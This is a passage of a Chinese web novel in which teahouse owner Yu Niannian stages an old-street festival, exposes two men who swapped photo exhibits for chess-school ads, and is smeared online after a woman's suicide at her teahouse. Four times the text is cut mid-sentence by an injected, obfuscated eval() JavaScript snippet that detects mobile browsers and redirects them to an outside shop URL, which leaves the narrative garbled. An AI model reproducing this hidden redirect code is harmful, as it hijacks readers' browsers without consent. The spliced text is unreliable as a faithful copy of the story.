“呃......”余念念一下子心虚了,“冷静!您冷静一点!” 村长作势扬起手里的扫帚,唬得余念念狂喊着“白砚”,奔向田边,一个跨步跨上了白砚的背,差点把他推进田里去。 “怎么啦?”白砚吓了一跳,但手上稳稳托住了余念念,背着她绕着银杏树奔跑,躲避着村长的扫帚。 村里原本懒懒躺着的大黄狗和散着步的老母鸡听到动静溜达过来,一瞬间,银杏树下鸡飞狗跳。 村长:“还说你俩不是来谈恋爱的?合起伙来到我的地盘来欺负我?!” 余念念:“村长你放下武器有话好好说!白砚你快保护我!” 白砚:“好!谁也别想打到我们家余念念!” ...... —————— 在洪家村待了一天,回到茶馆时,已经是晚上。 一进茶馆大门,何景明迎了上来,领口凌乱,身上一股浓烈的香水味,刺得余念念皱着眉绕了半个圈走进柜台。 从上次开完会到现在,何景明每隔几天就要找上门来,要么威逼,要么利诱,让余念念加大老街主题活动上对象棋学校的宣传力度,搞得余念念烦不胜烦。 “余老板,”此时,他顶着两个黑眼圈,搓着双手,言辞恳切道:“最近象棋学校真的不太好,好几个小区的家长都闹着要退课,再这么下去,我真的要失业了,你可不能见死不救啊!” 看来,今天演的是苦肉计,但这衣衫不整和浑身的香水味又暴露他心思并不完全在象棋学校上。 余念念将一句“你失业关我什么事”吞下去,看着他的眼睛认真道:“象棋学校的宣传可以从长计议,我的茶馆和我们的合作一直都在。但是,这次的活动,就请何先生别再动心思了,所有流程已经敲定了,小汤包都听得清清楚楚,也跟您转达得明明白白,请别再来骚扰我了。” 何景明脸上红一阵白一阵,伸出只食指,冲着余念念隔空戳了片刻,用力甩了袖子走出门去。 茶馆里的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414370|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气终于一点点清新回来,余念念坐到柜台后,摊开小本子,像这段时间以来每个晚上那样,逐个梳理着活动流程。 门又被推开,冷风夹着皂香味飘进来,白砚迈进来,脸上表情不甚明快。 “怎么了?”余念念问。 白砚迟疑片刻,说:“我妈刚给我打电话了,一定要我陪她回乡祭祖,她在国内找不到别的熟人。” 余念念心里微微一沉,问:“什么时候去?” “明天就出发,”白砚说,马上又接道:“我会在活动前赶回来。” 余念念看着他的眼睛,压下心头的不安,微笑道:“好,老街活动已经准备得差不多了,你的照片丰岚那边都收到了,不会有问题的,你放心去吧。” 她的话让白砚松了口气,但仍没有彻底放松,他轻轻说了声:“对不起。” “哪有什么对不起的,”余念念语调轻松,“别多想,早去早回。” 别多想—— ——将白砚送出门后,余念念盯着他背影消失的方向,也这么安慰着自己。 但是,何景明刚刚带着一身和翁女士身上一模一样的香水味从茶馆拂袖而去,白砚就接到他母亲的电话,被叫到外地祭祖,这会不会有点太过巧合了...... 正愣着神思索着,一道身影从老街上走过来,停在茶馆门口。 “余老板......”陈帆有些瑟缩地喊了声,眼神与余念念对视了一下,便快速错开,低头看着脚下。 “去天台?”余念念问。 她最近太忙了,一直没有找机会和陈帆细聊——另一方面,她也不知道怎么和他聊,之前茶馆下跪的那一幕太过心酸,她不知道如何开口,也不知道应不应该开口。但事后,陈帆还是照常来天台调酒,虽然总像带着某种隐藏的情绪,不如之前那样轻松肆意,但她想着,应该是和他母亲和解了吧。 陈帆含糊地嗯了一声。 余念念就着茶馆照出来的灯光仔细看了看他的表情,皱眉问:“怎么脸色这么差?” 陈帆摇摇头,嘴角带了丝苦笑,笑了一半,又抬头看向余念念,问:“余老板,我想辞了居委会的工作,来你的茶馆上班,可以么?听小优说,你们本来就想再招个人?” 余念念迟疑着。 上次茶馆交谈后,她大概知道了居委会的工作在他妈妈心里的份量,眼下,他提出这个想法,她没法直接了当答应。 他有没有跟他妈妈商量好?要是没商量好,会不会有下一次的下跪事件?她余念念的心脏可承受不住再来一次。 “等老街活动结束了,再说吧。”余念念侧过身子,让开茶馆的大门,示意他进去。 陈帆脸上有一秒钟的失落,但很快被收拾好,顺从地朝里走。 擦声而过的瞬间,余念念又喊住他:“等活动结束了,我陪你一起跟阿姨聊聊?我在和母亲化解心结方面有些经验,说不定能帮到你。” 陈帆定定地站了片刻,表情隐在门槛的阴影下,晦暗不明,隔了好久,才轻轻地“嗯”了一声,闪身进去。 46. 春分 春分当天,老街活动即将开始。 一大早,余念念便收拾妥当,站在落地镜前。 镜子里那张脸上,一夜没睡略显憔悴的脸色和浓重的黑眼圈被精致的妆容掩盖住,双眸中闪着倔强不服输的光。她看着自己,默念:加油,余念念,你一个人也可以的。 是的,她一个人。 白砚并没有如约回来。 前一天下午,她正在安福楼忙着为活动做最后的准备,突然收到白砚的消息:【是你把何景明介绍给我妈的?】 她愣住,有些心慌地给白砚回电话,想解释,但拨过去的电话一直没人接。 接下来的一整天,白砚没再发消息,没回复她长长的解释,更没有给她回电话。 她在茶馆等到深夜,回到家又失眠了一整晚,强迫自己把思绪拉回到老街活动上,但总有几缕顽固的焦躁萦绕在她的心头。 白砚到底怎么了?他在生她的气?气到不想回来陪她办完活动? 直觉告诉她他不是那样的人。 但她找不到一个合理的解释。 中途有无数次,她想冲到颜喜书画斋,找白老问一问白砚有没有回来、在哪里、在干嘛,但很快被理智强行压下。 直到此时,活动即将开始,她站在落地镜前,深呼吸一口,让一切纷乱的思绪平复下来,告诉自己:“余念念,无论如何,撑过今天。要对得起常主任的信赖,对得起老街所有人的托付。” —————— 早上八点,老街入口的十字路口。 公告栏被装点一新,外框上众多狗皮膏药般的小卡片被清理得一干二净,重新粉刷后的四条边框既泛着清漆的光芒,又露出下边颇有年代感的木头质地。 边框之中,公告栏上,张贴的内容保持了老街的原汁原味。 居中,一张清俊的楷体手写公告,昭告了今天的老街活动,向前来游玩的人表示了欢迎。围着这张公告,是老街原本每天上演的日常琐事——寻猫启示上是手画的一张肥猫特写,招租广告上是手写的文案外加一张歪歪扭扭的房间布局图,裁缝店招人启事老板的手写文案情真意切,某个街坊家办喜事的公告下写满了祝福的话。 已经有不少闻信而来的游人聚在公告栏边,兴致盎然地读着,读到最后,一道箭头直直指向街道对面:【请到老街茶馆喝茶!】 不到九点,老街茶馆已经挤满了人。 正中间的桌子上,魏大爷和王大爷正在对弈,两人的一举一动都被实时放大到墙上的大屏幕上——表情一个比一个严肃,背挺得一个比一个直,每走一步都十分深思熟虑,又不敢太过深思熟虑以免让周围围观的一圈人等得不耐烦,两个人的脑门上仿佛刻着余念念交代的几个大字:我是一个下象棋的NPC。 旁边的桌子上,小汤包和刘大爷也下着棋,一老一少的组合吸引了不少目光。刘大爷紧皱着眉,隔几分钟就要瞟一眼对面的小汤包,试图用眼神示意:给我留点面子。而小汤包则稳重得多,像个小佛陀,目不转睛地盯着棋盘,看得周围人忍俊不禁。 余念念在茶馆里逛了一圈,没有看到何景明的身影——照理说,像他这样急功近利的人,应该不会放过这么好的宣传机会才对,至少也应该站在小汤包身后,逢人就炫耀这是XX象棋学校教出来的学生。 她避开人群,找了个角落,拨了个电话,另一头,沈童很快接起来。 “怎么样?东西都准备好了么?”余念念问。 “都按你给的规格准备好了!我办事你放心!”沈童沉声道。 —————— 中午时分,人群大多聚集在了老孙和李婶的摊子前。 两人像武林高手一样隔空过招,只不过,使的不是武器招式,而是美食和嗅觉攻击。 “哇!好香!”“YUE!好臭!” 只要走过这段路,不管男女老少,不管光鲜亮丽还是蓬头垢面,都免不了被香味或者臭味吸引,爆出一句惊叹,接着,奔向某个摊位。 老孙使出了平生所学,将各种点心小吃翻着样地摆上台面,时不时抬头瞄向对面李婶的摊子,并对比一下哪边聚的人更多。 李婶则顾不了那么多,崇安双臭不仅臭味惊人,所需要的烹饪技巧也十分复杂,她像个武林高手,在两个锅之间有条不紊地操作拿捏着,隔一阵子,揭开某个锅盖,熏跑一群人,又吸引来另一波人,人来人往,她毫不受影响,平稳得与平日里叽叽喳喳聊八卦的样子判若两人。 余念念默默看了一会儿,被李婶扫地僧般老练的表情和动作逗得笑出来。李婶眼尖地瞅见,伸手招呼道:“小余!快过来!” 余念念挤进去,一只饭盒递到她眼下,李婶招呼道:“给你留的!快!趁热吃!” 余念念眼眶一热,赶紧深呼吸一口,接过来。 李婶手上边忙着,边道:“忙了一早上了吧?一清早出门时就看你脸色不好,等过了今天赶紧休息两天!欸白砚怎么到现在都没见人影?” 余念念含糊应着,退了出来,怕退得晚了,又被某种情绪控制了大脑——此时此刻,她只应做一个没有感情的盯场机器。 走过老孙和李婶的摊位,往前走不远,便是老潘照相馆和颜喜书画斋。 两个店铺前都挤满了人。 老潘照相馆前挂满了几十年来老街人的各色相片,复古的色调和老街住宅独特的背景吸引了本地住户和外面来游玩的人都驻足,一家人一起出游的,免不了跨进去也拍一张全家福。 对面,颜喜书画斋内,白老本人正在挥毫泼墨,画着一幅老街街景图,那画面本身就成了一副金字招牌。懂行的围观看作画,不懂行的挤进去看热闹,书画斋里的书法作品、山水画、插了鲜花的古意花瓶、焚着香的小香炉,连桌椅板凳,都被好奇的客人摸了个遍。 —————— 傍晚时分,人群逐渐聚集到老街深处的安福楼——按照活动流程,晚上七点,这里会举行本市著名摄影师白塔的老街主题摄影展。 丰岚广告公司负责摄影展的准备工作,在安福楼院子的一角搭了间简易小屋,此时,工作人员进进出出,将即将展出的摄影作品搬进搬出。 一进屋,余念念便察觉到角落里两道凑在一起低声交谈的人影——何景明和项卓。 见她进来,两人忙散开,何景明满脸堆笑地走过来,嘴里道着:“余老板,活动办得这么红火,恭喜恭喜呀!” 他身后,项卓往余念念脸上瞄了一眼,眼里闪过一丝不怀好意的笑容。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422881|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >余念念没跟他们两人多话,看了眼时间,朝屋外挥了挥手。 沈童衣角带风地进了门,身后跟了几个壮汉,每个人都扛了块一人多高的物料,径直走向屋角的几幅还盖着薄纱的摄影展品。 “哎!你们干嘛的!”项卓大惊失色,跳出来拦在展品前。一旁,何景明脸色微变,默默旁观。 余念念朝壮汉递了个眼色,几人轻松越过项卓,将抗进来的东西和屋角原本摆放的东西做了替换。 “余念念!你想干嘛!”项卓喊道。 余念念轻轻扫了他一眼,不和他多言语,掏出手机,打了个电话。 几分钟后,小屋内,匆匆赶来贾福看着眼前余念念手机里的视频,脸色青一阵白一阵,良久,瞪向身后的项卓。 项卓呆楞地看着余念念手机上,他和何景明偷偷摸摸将摄影展品替换成象棋学校广告的小丑行径,脸上一阵扭曲,恼羞成怒:“你敢监视我?!” 余念念面无表情迎着他的怒意,又扫了眼角落里将自己隐藏在阴影里的何景明,叹了口气:“何景明,从你最后一次迈出茶馆,我就注意提防你了。而你,项卓,我更是从来不敢百分百信任。你们俩还真是不负我所望地勾搭到了一起,真是一个蠢一个笨,狼狈为奸愚蠢至极!” 项卓吼了一声朝她冲过来,被贾福一把拉住,怒喝:“你还想给我捅出什么篓子?!余老板私下找我来已经给足我面子了,不然她早就报警了!” 说着,他回头冲余念念陪着笑点点头,拖着项卓出了门,何景明亦步亦趋地跟了出去,像条丧家之犬。 屋内安静下来。 余念念走到角落,扯开薄纱,沈童带来的几幅展品上,白砚拍的老街日落泛着柔和的光。 余念念伸手摸了摸照片上的夕阳,长长出了口气,低声道:“谢谢你童童,还好有你。” 沈童几步走到她身边,扭头看了眼她的脸色,忍了片刻,还是没忍住:“白砚死哪去了?这不是为他办的展?” 一阵沉默后,余念念喃喃道:“是啊......死哪去了......” 几秒钟后,她迅速收拾好表情,揽过沈童的肩膀,语调重新高昂:“不过没事,总算快结束了!晚上喝酒去呀?” 沈童笑着翻了个白眼:“你忘了上次我们俩单独喝酒的下场了?” 余念念:“......” —————— 晚上九点,活动完美落幕。 无数人冲着知名摄影师白塔摄影作品而来,虽然遗憾没能看到白塔本人真容,但得以一饱白塔摄影作品的眼福,尽兴而归。 市领导藏在游人中间,从早到晚体会了老街完□□貌,到最后才现身,与常主任在安福楼下握手交谈,对活动大加赞赏。 活动结束的音乐声里,余念念看着众人散场的身影,从心底里长长松了一口气。 跟在最后一批离场的人往外慢慢走着,远远地,小优的身影狂奔而来,跑到余念念面前时,满头大汗,上气不接下气。 “怎么了?怎么不在茶馆看着跑到这儿来了?”余念念接着她。 “老板,茶馆出事了......”小优两手撑着膝盖,喘着气道。 “陈帆的妈妈,从茶馆天台跳了下去!” 47. 漩涡 大脑陷入完全的空白,每一步都像踩在虚软的棉花之上。 余念念夹在沈童和小优之间,在人流刚刚散去的老街街道上往回走着,整个人承受着从高空坠入深渊的失重感,又像被拖入某个巨大的漩涡。 老街所处的十字路口围满了人,人群中传出无数人互相私语的低沉嗡鸣声,看到余念念走近了,音量逐渐放大。 “看!就是她!”“她就是茶馆老板!”“看上去还很年轻呢,怎么会惹上这种事!”...... 人群自觉让开一条通道,围聚的中央,一道人影横卧地上,深沉的黑色从那身体下方蜿蜒扩散出来,一旁,跪伏着另一个人影,持续地颤栗抖动着。 救护车闪着红□□光和尖锐持续的笛声呼啸而至,几个人影拖着担架冲下车,将地上的人抬上去,白布完整覆盖了那具躯体。 地上跪着的人跟随着起身,眼神涣散着,看到不远处站着的余念念,脸上浮现出痛苦,很快,跟着上了救护车。 警车急促刹在路口,一道高大身影覆盖住余念念眼前的光线,证件递到她眼下,很快收回去。 “警察。你是这家茶馆的老板?”低沉的声音响起。 余念念从失神中奋力拔出视线,看了眼眼前这双肃穆的眼睛,点点头。 “这间茶馆暂时需要关闭,请跟我们回去录一下笔录。” —————— 从公安局出来时,天已经快亮了。 余念念整个人都很木然。 两天两夜没睡,意识像被蒙上一层厚厚的纱布。缺少进食和水分让她的嘴唇干涩起皮,整个人微微发着抖。 沈童从门外迎上来搂住她,递过一杯温热的豆浆。 余念念抬起眼,只见沈童一人,又看了一圈四周,微微张口要说什么,很快便闭上。 “这两天别去茶馆了,在家好好休息休息,什么事都等过了这阵子再说。” “陈帆母亲的死跟你关系不大,只是恰好发生在茶馆,你别有心里负担。” “要么,你回家待一阵子,或者,找个地方散散心?” 沈童不停絮叨着。 “我的手机呢?”余念念终于开口说了第一句话。 沈童迟疑着,从口袋掏出手机递给她,脸上满是忧虑:“念念,你还是先别看网上的消息,很多不明真相的网友张口就来,看了污染眼睛......” 余念念打开手机,无数未接来电和短信提示冒出来,其中不乏刺眼的字眼。 “你的手机号码泄露出去了,有些人吃饱了没事干就爱瞎揣测,你删了就好。” 余念念打开微信,置顶的“天仙”聊天窗中,维持着两天前的消息记录。 她退出来,很快,无数热搜映入眼帘。 【本市老街茶馆发生一起女性坠楼案,据某位与茶馆老板有合作关系的知情者何先生爆料,该茶馆确实存在安全隐患,何先生本人表示,后续将解除合作,并敦促老街整改商户运营安全。】 【据某知名广告公司员工项先生爆料,涉事茶馆的老板余某性格张扬跋扈,在此前的合作中多次一意孤行,依仗甲方身份,对乙方做出种种不尊重的举动,他表示,余某所经营的茶馆出现这样的事情他并不惊讶。】 【一则老街茶馆内部监控视频流出,画面中,逝者生前曾向茶馆老板余某下跪。一位老年女性向一位二十多岁年轻女性下跪,令人不禁质疑,她生前到底遭受了何种对待。】 ...... 余念念手抖得不像样子,几乎拿不住手机。 沈童一把稳住她的胳膊,按下手机,将她的手塞进外套口袋,紧了紧她的领口,柔声道:“别看了,都是胡说八道的。” 余念念冲她短促地笑了一下,说:“你也一晚上没睡吧?都臭了,回家洗澡休息吧,我想一个人待会儿。” 沈童摇头:“不行,我现在不能让你一个人待着。” 余念念挤出个跳脱的表情,语调高昂:“放心,我不会干傻事!” 说着,伸手招了辆出租车,直接将沈童塞进了车里。 —————— 回到老街,从茶馆门口走过去,大门上刺目的封条让余念念慌忙挪开眼睛。 李婶家楼下聚了一群人,见她走近,有的迎了上来,有的默默退了开去。 李婶抓住她的手,揉搓着:“怎么手这么冰?来上我家吃点东西再回去休息吧。白老也等了你一晚上,刚刚实在撑不住,回去睡会儿,听我的,一切都等休息好了再说!” 魏大爷点头道:“小余,放宽心!这事错不在你。” 一旁,刘大爷隔了几步远,小心翼翼地插进来:“可是小余,陈帆他妈妈为什么要跟你下跪?你们到底聊了什么?” “你住口!”魏大爷打断他,“现在是问这个的时候么?” 刘大爷被他吼得一愣,片刻后,梗着脖子大声道:“有什么不能说的?网上视频都看得清清楚楚!那么大年纪的人能轻易给人下跪么?谁看了不心酸?现在人走了,逝者为大!我问一句怎么了?!” “你!”魏大爷被他堵得说不出话,一挥袖子扭头走开。 余念念觉得有把刀在自己胸口扎着,刀刃还在心脏中来回搅动。 她竭力对李婶露出个浅笑:“李婶,我吃不下,我太困了,先上去睡觉了......” 刘大爷哼了一声也走了,李婶跟在她身后上了半截楼梯,叹了口气,下了楼。 房间门口,余念念抖着低血糖之下有些不稳的手从口袋里掏钥匙,手机突然响起来,陌生的来电号码在屏幕上亮着。 她停住动作,瞪着屏幕,一动不动。 那号码格外执着,持续地响着,短暂的灭了之后,很快又重新响起来。 响起第五遍时,余念念深呼吸一口,接了起来。 “念念!你终于接电话了!”是白砚,在他的声音之外,还有着某种专属于机场或火车站的嘈杂背景音。 “对不起,我的手机被我妈摔坏了,身份证也被她藏了两天,今早才拿回来,我现在在机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437921|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场给你打的电话,我会赶最近一班飞机回去,三个小时后就到崇安。” 白砚飞快解释着,紧接着,放慢语速,低声问:“念念,这两天怎么样?一个人有没有很幸苦?” 余念念一点一点在门口蹲下,默默听着白砚的声音。 她怀疑自己失去了感知情绪的能力。 如果是两天前,她会惊喜万分,给白砚解释她为什么没有告诉他翁女士和何景明之间微妙的关系。 如果是昨天早上,她会委屈外加愤怒,指控他为什么还没有回老街,为什么把这么重的担子丢给她一个人。 甚至,如果是昨天晚上,她也会松一口气,像孩子找到归宿那样将迫不及待要扎进他怀里,隔绝外面的一切刀光剑影。 但现在,那把刀已经在她心上扎了十几个小时,她有些麻木了。 “......念念,你怎么了?生我的气了?”白砚轻声问。 余念念回过神,问:“你的手机坏了,这两天什么都不知道?” 白砚嗯了一声,又不解道:“不知道为什么,她这次格外胡搅蛮缠,先是把我的手机摔坏,又装病让我陪她去医院,被医生说破后藏着我的行李让我没法买机票回崇安。我不想浪费时间买手机,先赶回崇安再说。” 余念念默默听着,所有事情在心里串了起来,但她没力气说给白砚听。 “飞机三个小时后到崇安机场,是么?” “是。” “好,那我在机场等你。” 电话那头,白砚轻轻舒了口气,带着笑意“嗯”了一声。 —————— 三小时后,崇安机场。 一出旅客出口,白砚就被一道柔软的胳膊揽住,转回身,余念念在侧后方抱住他,脸埋在他的后背,迟迟没有放松。 白砚两天来的忐忑一扫而光,回身抱住她,下巴在她头顶蹭了蹭。 片刻后,他察觉到一丝异样,余念念的脑袋像颗小火炉。 他将余念念埋在他身上的脑袋拔出来,仔细看了眼她的脸色,微微皱眉。 “怎么回事?怎么脸这么红?发烧了么?” 余念念的脸颊透着异样的绯红,但嘴唇却发白。她避开白砚探向她额头的手,摇摇头,语调轻快道:“没发烧,我就是太着急来接你了,你知道么?我是跑着来的!” 她今天似乎活泼......以及主动,白砚被她感染,笑着揽住她往外走。 长长的旅客出口通道上,各色店铺招牌林立,路过一家手机店时,白砚顿住脚步,刚想迈进去,便被余念念拖住。 “先不买。”余念念仰头看着他,眼底透着一股恳求。 那恳切中似乎流露出一丝悲伤,让白砚身体一僵,他正色,问:“为什么?念念,发生什么事了么?” 余念念脸上迅速绽出绚烂的笑意,几秒钟之前的恳求眼神不见踪迹,她双手伸直,搂住白砚的脖子,贴到他耳边,用从未有过的柔软语调轻声说:“我只是很想你,你带我去个地方,好不好?” 48. 惩罚 唰——唰——唰—— 一进白砚位于市中心的公寓,余念念径直冲进每一间房间,拉上每一道窗帘,厚重的布料隔绝了大部分光线,整个屋内陷入一片昏暗。 “念念,你——” 白砚话没来得及出口,一片温软欺到怀中,接着,整个人被猛地推靠在墙面上,余念念的胳膊交叉在他颈后,用力勾着他的脑袋往下,来不及反应间,已经唇齿相贴。 一番纠缠。 分开后,室内响着两道不平稳的呼吸声。 白砚保持着被抵在墙上的姿态,额头低低垂下,抵住余念念的额头,双手环在她腰后,声音沙哑:“念念,你是认真的么......” 昏暗中响起一阵暧昧不明的轻笑,下一秒,余念念将白砚推进房间门里,推倒在宽大的床上,床垫发出沉闷而又震耳欲聋的声响,昭示着某种破釜沉舟式的决心。 还没从天旋地转间回过神来,白砚身上一沉,余念念已经爬了上来,整个人覆在他上方,托着他的双手举到了头顶。 一道异物束缚在了白砚双手手腕上,他整个人平躺着,自下而上地承受着一切。 呼吸变得更加粗重,他几乎喘息着,看向半坐在他腰上的那个隐在昏暗光线里的看不清表情的人,问:“为什么......要绑着我......” 余念念不回答,低下身,凑到他耳边,顺着耳垂,一路往下,极轻极慢地吹气,一直吹到锁骨,又顺着一侧锁骨,吹到另一侧,再继续缓缓攀升上去。 “......唔......”白砚紧咬牙根,脖子仰到极致,却避无可避,破碎的喘息声溢出牙关。 “我说过的......要是你犯错了......就要......这样......惩罚你......”余念念边吹着气,边自言自语般的轻声说道。 但此时此刻,白砚的意识一片昏沉,整个身体像被火炙烤着,根本听不到任何话语。 一滴什么落了下来,擦过白砚的脖子,砸进床单上,被擦过的皮肤像是被被鞭子抽了一下,激得他浑身一个颤栗—— 忍到极限了—— 平时在衣物掩盖下纤瘦的肌肉以瞬间全部绷紧,手腕上松松垮垮的束缚根本不构成威胁,发出声短促的撕裂声,白砚抱着余念念一个翻滚,一瞬间,攻守移位。 隔着一根手指的距离,白砚灼热的呼吸打在余念念脸上,一点一点靠得更近——从下飞机到现在,一切发生得太快,他想看她看得更真切一些。 但余念念不给他机会,白砚只来得及看到她微微勾起的嘴角,便被她紧紧搂住,唇齿又一次交错在一起。 一片昏暗里,一切混乱着...... ...... 几小时后。 一阵风吹进来,将窗帘吹得沙沙作响,微弱日光伴着早春寒意进了房间,将床上熟睡的人惊醒。 前一秒的梦境太过美妙,白砚伸手去探身侧的绵软身体,探了个空。 不甘心,继续摸,摸到一块硬物,那触感和形状让他一惊。 下一秒,起身,下床,扯开窗帘,日光大剌剌洒进来,整个房间除了他没有第二个人。 床上,一片混乱的床单之上,刚刚空着的一侧枕头下方,一枚绿色音符孤单单躺着。 —————— 夜晚,颜喜书画斋。 空气仿佛滞住了,气氛是从未有过的沉重。 白老手撑着拐杖,坐在柜台后,隔几分钟深深叹一口气,时不时扭头看一眼店里深处那个身影。 沙发上,白砚双目紧闭,手用力在眉间和太阳穴按压着,除了起伏的胸口外,整个人像一尊沉默的雕像。 “那个......也别太自责了,小余不会有事的。”白老担忧地安抚道。 两个小时前,白砚刚回到颜喜书画斋时,他还远不是这样温和的姿态。 那时,比声音先抵达的,是他的拐杖——刚一进进颜喜斋的门,一记拐杖重重抽在白砚身上,伴着一声怒喝:“你死哪去了?!” 白砚生生受了这记闷棍。他从老街一路走过来,路过了贴着封条的老街茶馆,经过李婶家门口时从她口中大概知道了事情经过,又扭头冲出老街以最快速度买了个新手机,进到颜喜书画斋时,整个人都是茫然无措的。 除了茫然无措,还有极为不详的预感——一种历经突如其来的幸福之后后知后觉的预感。 迅速插进电话卡,开机,略过所有设置操作,登陆微信,看到余念念头像上红色的【18】条未读消息提示,和展示在外面的最近一条消息时,他的心脏已经微微抽痛。 【白砚,你到底在哪儿?】 最后这条消息的发送时间是前一天晚上九点三十五,那时,茶馆刚刚出事,余念念向他无声求援。 但他什么什么回应也没给。 他抖着手点进去,长长的聊天记录展开在眼前,余念念发的12条消息一个屏幕都装不下。 【我怎么会介绍他给你妈妈,你别误会我可以解释!】 这是最早一条,紧接在他发给她的那条类似质问的消息之后,只是,他还没来得及看到,手机就被摔坏,错过了一切。 【白砚,你生气了?】 【真的不是你想的那样,他们是在茶馆认识的不假,你妈妈拉了手链被何景明捡到,他要还回去,就找我要你妈妈的联系方式,我没多想,就给了,我也不知道何景明居然真的会动那个念头,要是早知道,我肯定不会把联系方式给他的,你知道,我最烦他了。】 【你怎么这么小气,不接电话也不回消息,小气鬼!】 【还没消气么?你不是说活动前会回来?】 【骗子!】 【再给你一次机会,十二点之前回消息都算你遵守约定。】 ...... 【白砚,你到底在哪儿?】 白砚闭上眼睛,握着手机的手用力到发白,忍不住杵向胸口——胸腔内,那颗器官像被人紧紧捏住般地疼痛。 余念念,我到底让你一个人经历了什么...... 白老的责骂还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464393|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在耳边继续,白砚抬起头,红得像要滴血的眼眶惊得白老生生咽下了下一句骂人的话。 “你......哭什么?!” 从他养白砚开始,这小子情绪从不外露,挨了拐杖不管有多疼都一声不吭,眼下这崩溃的样子让白老如临大敌,“......刚才那一棍子,打重了?” 白砚垂下眼睫,摇摇头,问:“爷爷,今天见到念念回老街没有?” “没有见到。回来?从哪回来?” “从......”白砚话音一顿,脑子里浮现出不久前公寓房间里某一幕,心里一紧,没说下去。 这时,一道身影冲了进来,沈童的声音炸起:“白砚你个挨千刀的你还知道回来?!念念呢?你把念念哄哪儿去了?” 白老立在一旁,嘴长了长,又闭上,双手摩挲着拐杖头,不敢插话。 “你也不知道她在哪里?”白砚的脸白了几分。 沈童一僵,眼睛瞪大了一倍,接着,像团火药一样射向白砚,被白老从后面拖住:“哎小沈!你别再刺激他了,他都快哭了!我养了他几十年都没见他哭过!” 与此同时,白砚径直越过两人,迈出门去:“我去报警!” ...... 半小时后,白砚回到颜喜书画斋,颓丧地倒在沙发上。 白老小心翼翼问:“怎么样?找到了么?警察怎么说?” “警察说,时间太短立不了案......还说,此前笔录时,她情绪良好,不认为她会做出过激行为......” 白老舒了口气:“那就好,那就好......” “爷爷,”白砚闭着眼睛,语气轻得像自言自语,“我想给自己来一刀。” 白老:“......” 正斟酌着安慰的话,门外又出现两道人影,李婶和魏大爷一前一后走了进来。 “白老,怎么办?小余不见了!”李婶咋呼道。 “白老,快,你给小余打个电话试试!我们联系不上她!”魏大爷说。 进了门,两人同时看到白砚,对视一眼,齐齐冲到他身边,低头问:“小白,你这两天去哪了?”“是啊,去哪了?还有,小余呢?” 白砚痛苦地俯下身,将脸埋在手臂上,整个人蜷缩在沙发一角。 白老气汹汹走过来,用拐杖将围着自己孙子的两人驱逐向门口:“别逼他了!他已经受到惩罚了,没看到他很自责么!” 沙发里,白砚听到自己爷爷的话,本就握紧的拳头攥得更紧,手掌正中心被握着的硬物一角深深刺压着,液体一点一点洇湿音符发带的黑色锻绳,又一滴一滴滴下来,在地面上汇聚成一团刺眼红色。 惩罚......他终于知道,早上,在公寓房间里,余念念说的那句话是什么了。 还有那滴液体,从上方滴到他脖子一侧的液体,那只会是余念念的眼泪。 他苦笑一声,自言自语地说了那句曾经说过的话:“余念念,你怎么这么狠......” 对他,对自己,都这么狠。 49. 工具 余念念彻底从老街消失了。 老街茶馆的封条被撤掉,但大门紧闭,大大的落地玻璃窗好多天未曾擦洗,逐渐蒙上灰尘污渍,透过窗玻璃,里面桌椅冷清,墙上的大屏幕漆黑一片,不复之前从早到晚的热闹喧哗。 原本日日来打卡的象棋大爷们没有了温暖去处,只能不情不愿地回到河边榕树下的老根据地,一个个缩着手抖着脚,在还刺骨的早春寒风里喝着很快就冷掉的茶水,下着不咸不淡的棋——少了大屏幕直播和茶馆大堂人来人往的氛围,人人都有种由奢入俭的寡淡感。 而就算是这样的老去处,刘大爷也被驱逐在外——主要是被魏大爷驱逐在外。自从上次的争吵后,魏大爷看到刘大爷就眼睛一翻鼻孔一扬冷哼一声绕道而行,刘大爷起先不甘示弱,但被边缘了一阵后,逐渐有点耐不住寂寞,日日背着手绕着河边晃悠,时不时便对着河面长叹一口气。 